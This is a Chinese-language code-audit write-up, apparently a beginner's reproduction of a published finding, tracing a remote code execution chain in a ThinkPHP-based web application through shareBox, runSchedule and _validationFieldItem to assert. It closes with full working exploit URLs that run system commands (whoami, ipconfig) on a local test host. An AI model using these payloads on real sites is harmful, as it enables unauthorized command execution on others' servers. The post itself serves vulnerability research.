一、前话:
由于本周也是在补天公众号看到了(moonv)这位师傅的代码审计文章https://mp.weixin.qq.com/s/5_HxHEFrCxOCagGOQPOCDw,想着复现下无奈只有前部分的poc而已,剩下的只能自己补上了 ,可能会存在点理解误差。(师傅们轻点喷,本人新手文章,耗时一天)
二、审计工具:
PhpStudy(2016版本)、Phpstorm(2020.3.2版本)
三、审计步骤:

由于是thinkphp框架写的,是(应用/控制器/方法名)进行访问的,
访问这控制器是 ?s=Weibo/Share/shareBox&query=
往下走就是到17行②处,这里将query解码的值传到③sharabox.html页面

然后query的值就赋到'param'的参数上面调用Weibo/Share/fetchShare方法。
而{:W('Weibo/Share/fetchShare',array('param'=>$parse_array))}
的W方法在ThinkPHP/Common/functions.php的1174行。这里可以参考补天师傅发的文。


R(方法是远程调用控制器的操作方法 URL 参数格式 [资源://][模块/]控制器/操作
{:W(‘Weibo(模块、调用地址)/Share(方法)/fetchShare(操作)’,array(‘param’=>$parse_array))}
然后我们继续往回看,也就是sharebox.html远程调用Weibo/Share/fetchShare方法这里。

query的值就赋到'param'的参数上面调用Weibo/Share/fetchShare方法。

而且D方法只会寻找模块(model)类
比如你的参数是query=app=Common%26Model=Schedule%26method=runSchedule%26id
就会搜索Common/Model/ScheduleModel的类
由于前面的assginFetch方法传入D方法的时候带着‘Weibo/Share’参数
所以这里只会搜索weibo模块类Weibo/Model/ShareModel

而fetchShare方法里又将值传给assginFetch方法又又传给了getinfo方法。继续往下跟进
上面是调用了D方法也就是模块类Weibo/Model/ShareModel

这里的getinfo方法会将传过来的参数进行判断,如果app、Model、method
参数都不为空的话就进入D进行实例化(实例化:个人感觉是调用方法的意思)如:query=app=应用名(如:Common、Weibo、Admin)%26Model=模块名%26method=方法名,这里moonv师傅已经给出了前部分的
poc:query=app=Common%26Model=Schedule%26method=runSchedule%26id

这里的调用D方法又成了执行Common/Model/ScheduleModel/runSchedule方法


这里是利用了moonv师傅找出的runSchedule方法然后继续调用D方法进行实例化模块。
而且这里的参数是需要三个参数,status、method、args,这里有点小绕脑。
而method是需要‘->’进行分割的,根据前部分的poc再加上现在的参数提示可以组成:
query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1
%26id[method]=Schedule->_validationFieldItem%26id[args]=
这里会将method下标的值带入D方法来实例化该模块(Model)类,然后将②带入①的模块类中。


继续往下的话就到了_validationFieldItem方法,这里我也不是很清楚怎么进来的,应该的通过Schedulemodel方法进行执行_validationFieldItem吧。
(PS:有懂的师傅能否讲解一下)

1、要val下标4的值是function
2、要val下标6的值是数组
3、args会和data下标是val下标0的值
4、要val下标1的值是assert
师傅们可以百度参考下call_user_func_array代码执行。
解释第3点:如果val[0]=cmd ,那么data就是data[cmd]
这下可以构造出poc:
/index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1
%26id[method]=Schedule->_validationFieldItem%26id[4]=function%26[6][]=%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=system(whoami)

四、影响版本:
目前版本版本:Uploads_Download_2020-05-14_5ebca066a3fef
五、实现步骤:
http://127.0.0.1/index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule-%3E_validationFieldItem%26id[4]=function%26[6][]=%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=system(ipconfig)

本文迁移自知识星球“火线Zone”